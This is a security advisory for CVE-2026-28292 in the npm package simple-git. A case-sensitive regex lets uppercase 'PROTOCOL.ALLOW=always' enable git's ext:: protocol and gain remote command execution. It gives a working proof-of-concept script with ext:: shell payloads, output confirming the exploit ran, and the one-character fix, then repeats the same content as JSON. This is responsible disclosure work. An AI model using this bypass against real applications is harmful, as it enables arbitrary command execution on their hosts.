GHSA-R275-FR43-PM7Q

Vulnerability from github – Published: 2026-03-10 18:38 – Updated: 2026-03-10 18:38
VLAI?
Summary
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE
Details

Summary

The blockUnsafeOperationsPlugin in simple-git fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an arbitrary OS command on the host machine.

Details

The preventProtocolOverride function in simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24) checks whether a -c argument configures protocol.allow using this regex:

if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}

This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument.

Verification that git normalises the key:

$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always

The fix is a single character — add the /i flag:

// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {

poc.js

/**
 * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
 *
 * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Affected : simple-git >= 3.15.0 (all versions with the fix applied)
 * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5
 * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex
]).catch((e) => {
  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex
]).catch((e) => {
  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
//                     '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST     = '/tmp/codeant-quality-gates';
const SENTINEL_RW    = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,   // should have been LEGITIMATE_URL
  CLONE_DEST,
  userArgs
).catch(() => {
  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});

Test Results

Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)

Result: BLOCKED ✅

The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.

Output:

ext:: executed:poc not created
GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol
    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)
    at .../simple-git/dist/cjs/index.js:1266:40
    at Array.forEach (<anonymous>)
    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)
    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)
    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {
  task: {
    commands: [
      'clone',
      '-c',
      'protocol.ext.allow=always',
      'ext::sh -c touch% /tmp/pwn-original% >&2',
      '/tmp/example-new-repo'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  },
  plugin: 'unsafe'
}

Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)

Result: BYPASSED ⚠️ — RCE confirmed

The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.

Output:

ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {
  task: {
    commands: [
      'clone',
      '-c',
      'PROTOCOL.ALLOW=always',
      'ext::sh -c touch% /tmp/pwn-codeant% >&2',
      '/tmp/example-new-repo-2'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  }
}

/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.

Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)

Result: BYPASSED ⚠️ — RCE confirmed

An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.

Output:

real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created

/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.

Summary

# Vector Payload Sentinel file Result
1 CVE-2022-25912 original protocol.ext.allow=always (lowercase) not created Blocked ✅
2 Case-sensitivity bypass PROTOCOL.ALLOW=always (uppercase) /tmp/pwn-codeant created RCE ⚠️
3 Real-world app scenario PROTOCOL.ALLOW=always + attacker URL /tmp/pwn-realworld created RCE ⚠️

The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.

/tmp/pwned is created by the git subprocess via the ext:: protocol.

All of the following bypass the check:

Argument passed via -c Regex matches? Git honours it?
protocol.allow=always ✅ blocked ✅
PROTOCOL.ALLOW=always ❌ bypassed ✅
Protocol.Allow=always ❌ bypassed ✅
PROTOCOL.allow=always ❌ bypassed ✅
protocol.ALLOW=always ❌ bypassed ✅

Impact

Any application that passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push() or similar simple-git methods is vulnerable to arbitrary command execution on the host machine.

The ext:: git protocol executes an arbitrary binary as a remote helper. With protocol.allow=always enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "simple-git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.15.0"
            },
            {
              "fixed": "3.32.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:38:56Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n   return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively \u2014 it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character \u2014 add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept \u2014 simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git \u003e= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require(\u0027simple-git\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst SENTINEL = \u0027/tmp/pwn-codeant\u0027;\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// \u2500\u2500 Original CVE-2022-25912 vector \u2014 BLOCKED by the 2022 fix \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone(\u0027ext::sh -c touch% /tmp/pwn-original% \u003e\u00262\u0027, \u0027/tmp/example-new-repo\u0027, [\n  \u0027-c\u0027, \u0027protocol.ext.allow=always\u0027,   // lowercase \u2014 caught by regex\n]).catch((e) =\u003e {\n  console.log(\u0027ext:: executed:poc\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n  console.error(e);\n});\n\n// \u2500\u2500 Bypass \u2014 PROTOCOL.ALLOW=always (uppercase) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone(\u0027ext::sh -c touch% \u0027 + SENTINEL + \u0027% \u003e\u00262\u0027, \u0027/tmp/example-new-repo-2\u0027, [\n  \u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027,       // uppercase \u2014 NOT caught by regex\n]).catch((e) =\u003e {\n  console.log(\u0027ext:: executed:\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n  console.error(e);\n});\n\n// \u2500\u2500 Real-world scenario \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n//   simpleGit().clone(\u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027,\n//                     \u0027/tmp/codeant-quality-gates\u0027, userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = \u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027;\nconst CLONE_DEST     = \u0027/tmp/codeant-quality-gates\u0027;\nconst SENTINEL_RW    = \u0027/tmp/pwn-realworld\u0027;\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs   = [\u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027];\nconst attackerURL = \u0027ext::sh -c touch% \u0027 + SENTINEL_RW + \u0027% \u003e\u00262\u0027;\n\nsimpleGit().clone(\n  attackerURL,   // should have been LEGITIMATE_URL\n  CLONE_DEST,\n  userArgs\n).catch(() =\u003e {\n  console.log(\u0027real-world scenario [target: \u0027 + LEGITIMATE_URL + \u0027]:\u0027,\n    fs.existsSync(SENTINEL_RW) ? \u0027PWNED \u2014 \u0027 + SENTINEL_RW + \u0027 created\u0027 : \u0027not created\u0027);\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 \u2014 Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED \u2705**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n    at .../simple-git/dist/cjs/index.js:1266:40\n    at Array.forEach (\u003canonymous\u003e)\n    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n  task: {\n    commands: [\n      \u0027clone\u0027,\n      \u0027-c\u0027,\n      \u0027protocol.ext.allow=always\u0027,\n      \u0027ext::sh -c touch% /tmp/pwn-original% \u003e\u00262\u0027,\n      \u0027/tmp/example-new-repo\u0027\n    ],\n    format: \u0027utf-8\u0027,\n    parser: [Function: parser]\n  },\n  plugin: \u0027unsafe\u0027\n}\n```\n\n---\n\n### Vector 2 \u2014 Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED \u2014 /tmp/pwn-codeant created\nGitError: Cloning into \u0027/tmp/example-new-repo-2\u0027...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n  task: {\n    commands: [\n      \u0027clone\u0027,\n      \u0027-c\u0027,\n      \u0027PROTOCOL.ALLOW=always\u0027,\n      \u0027ext::sh -c touch% /tmp/pwn-codeant% \u003e\u00262\u0027,\n      \u0027/tmp/example-new-repo-2\u0027\n    ],\n    format: \u0027utf-8\u0027,\n    parser: [Function: parser]\n  }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess \u2014 command execution confirmed.\n\n---\n\n### Vector 3 \u2014 Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED \u2014 /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created \u2014 arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked \u2705 |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE \u26a0\ufe0f** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE \u26a0\ufe0f** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always`  | \u2705 blocked     | \u2705              |\n| `PROTOCOL.ALLOW=always`  | \u274c bypassed    | \u2705              |\n| `Protocol.Allow=always`  | \u274c bypassed    | \u2705              |\n| `PROTOCOL.allow=always`  | \u274c bypassed    | \u2705              |\n| `protocol.ALLOW=always`  | \u274c bypassed    | \u2705              |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user \u2014 full read, write and execution access on the host.",
  "id": "GHSA-r275-fr43-pm7q",
  "modified": "2026-03-10T18:38:56Z",
  "published": "2026-03-10T18:38:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/steveukx/git-js"
    },
    {
      "type": "WEB",
      "url": "https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
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